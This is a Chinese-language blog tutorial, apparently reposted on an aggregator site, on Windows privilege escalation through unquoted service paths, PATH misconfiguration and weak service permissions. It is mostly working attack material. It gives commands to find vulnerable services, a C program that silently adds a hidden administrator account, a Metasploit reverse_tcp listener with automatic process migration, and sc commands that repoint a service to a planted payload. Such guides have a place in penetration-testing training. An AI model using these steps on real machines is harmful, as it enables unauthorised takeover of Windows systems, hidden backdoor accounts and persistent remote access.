最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

windows提权

来源:博客园

Trusted service path漏洞

原理:服务路径和快捷方式路径具有一个或多个空格美哦与被引号括起,windows会对每一个空格尝试寻找名字与空格前的名字相匹配的程序执行,造成路径拦截形成漏洞


【资料图】

当路径中存在没有被引号引起来的服务路径 C:\program files\com monfiles\service.exe中因为program files存在空格和com monfiles存在空格

可能会发生路径截断,服务启动时windows会依次尝试寻找下面的程序执行

c:\program.exe

c:\program files\com.exe

c:\program files\com monfiles\service.exe

漏洞利用

1.查找有无相关漏洞路径

wmic service get name,display,pathname,startmode | findstr /i "Auto" | findstr /i /v "c:\windows\\" | findstr /i /v """解析:wmic service get 后面的参数可以通过wmic  service get /? 查看findstr /i参数就是查找对应的匹配项/i /v: 查找对应的匹配项后不打印这个匹配项,打印不符合的findstr /i /v """  :不打印包含引号的原因是因为 被引号包括的路径是不存在漏洞的

2.如果存在相关的路径

#sc qc service查看相关服务的配置

C:\Users\Sakura>sc qc GamingServices[SC] QueryServiceConfig 成功

SERVICE_NAME: GamingServices     TYPE : 210 WIN32_PACKAGED_PROCESS START_TYPE : 2 AUTO_START    #开启类型,是自动启动 ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files\WindowsApps\Microsoft.GamingServices_10.75.13001.0_x64__8wekyb3d8bbwe\GamingServices.exe LOAD_ORDER_GROUP :

DISPLAY_NAME : Gaming Services DEPENDENCIES : staterepository SERVICE_START_NAME : LocalSystem    #启动服务的账户

3.查看能否在该路径上上传文件(查看文件夹的权限)

icacls "c:\program files

c:\program files

NT SERVICE\TrustedInstaller:(F) NT SERVICE\TrustedInstaller:(CI)(IO)(F)    #NT SERVICE则表示一组用于Windows服务的虚拟账户 NT AUTHORITY\SYSTEM:(M)    #NT AUTHORITY表示一组经过认证、有特殊权限或特殊许可的用户或计算机账户 NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F) BUILTIN\Administrators:(M)        #BUILTIN\Administrators" 是用户或组的名称,表示"内置\Administrators"群组具有对相关文件或文件夹的权限. BUILTIN\Administrators:(OI)(CI)(IO)(F)    #"(OI)" 表示"对象继承"的开头, "(CI)" 表示"容器继承"的开头,而 "(IO)" 则表示对“对象的所有权”具有特殊权限."(F)" 表示该用户或组拥有完整的访问权限. BUILTIN\Users:(RX) BUILTIN\Users:(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(OI)(CI)(IO)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE) APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(RX) APPLICATION PACKAGE AUTHORITY\所有受限制的应用程序包:(OI)(CI)(IO)(GR,GE)

已成功处理 1 个文件; 处理 0 个文件时失败

4.编写c提权文件

实现新建隐藏用户,并且将用户添加到管理员组

1.编写c文件#include int main{    int i;    int j;    i=system("net user a$ 123 /add");    j=system("net localgroup administrators a$ /add");    return 0;}2.编译成windows程序i596-mingw32msvc-gcc exp.c -o common.exe -mwindows

5上传common.exe文件

当gameservice重启的时候即可生成账户.

由于权限比较低的情况下无法重启服务,等待服务重启或者系统执行exe

shutdown -r -t 0或者sc stop service sc start service

msf的利用

可以生成msf马上传后运行,利用exploit/multi/handler监听getshell后

反弹得到的meterpreter会很快就中断了,这是因为当一个进程在Windows中启动后,必须与服务控制管理进行通信,如果没有通信,服务控制管理器会认为出现了错误,进而终止这个进程。所以,我们要提前在终止载荷进程之前将它迁移到其他进程中,使用msf的“set AutoRunScript migrate -f”命令即可实现自动迁移进程:

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost  ipset lport 4444set AutoRunScript migrate(迁移) -frun #开启监听即可,连接上后会自动迁移

or

use exploit/windows/local/unquoted_service_pathset session 1set autorunscript migrate -frun

PATH环境变量配置错误

原理:执行程序方法以来path环境变量来确定未提供程序路径时搜索程序的位置

通常新增的paht环境变量是在后面添加的,配置不当导致最前面新增了path环境变量,那么在此目录下新建与常用系统命令一样的名字的exe程序就会优先执行

漏洞利用

1.查看目标系统的环境变量

wmic environment where "name="path"" get username,variablevalue命令解析:

wmic environment get username,variablevalue命令列出的环境变量包括:

- USERNAME:当前用户的用户名- APPDATA:当前用户的应用程序数据文件夹的路径- COMPUTERNAME:计算机名称- USERPROFILE:当前用户的个人资料文件夹的路径- HOMEDRIVE:当前用户的主目录驱动器- HOMEPATH:当前用户的主目录路径- LOGONSERVER:该用户登录时使用的域控制器名称- PATH:系统用于查找可执行文件的路径- TEMP:用于存储临时文件的目录- TMP:用于存储临时文件的目录

除此之外,还可能有一些其他的环境变量,具体根据操作系统版本和系统设置而变化。

get 后面的参数可以使用 get /?查看

Description N/A N/AInstallDate N/A N/AName string Read/WriteStatus N/A N/ASystemVariable N/A N/AUserName N/A N/AVariableValue N/A N/A

可以明显的看到确实是有配置不当的环境变量

最前面的是C:\Program Files (x86)\Common Files\Oracle\Java\javapath;

尝试在这个目录下上传一个ipconfig.exe,系统会优先使用这个

不安全的服务权限

原理通常windows服务以system执行,由于错误配置导致地权限用户对某些服务进行修改,通过服务启动文件的路径binpath替换恶意程序的路径.

漏洞利用

1.通过accesschk发现一个配置不当的服务

accesschk是一个了解特定用户或组队资源的访问权限,包括文件,目录,注册表,全局对象和windows服务.

第一次运行会有一个许可窗口,命令后加上/accepteula避免弹窗

accesschk users -cw * /accepteula#查找users组的修改服务输出W Everything error openning pla;????说明everything服务所有人都可以修改

2.使用sc修改启动路径

先上传msf马到目录中,然后使用命令sc config "everything" binpath= "c:\xx\xx\msf.exe"#binpath=后面必须要加一个空格再跟启动路径

关键词: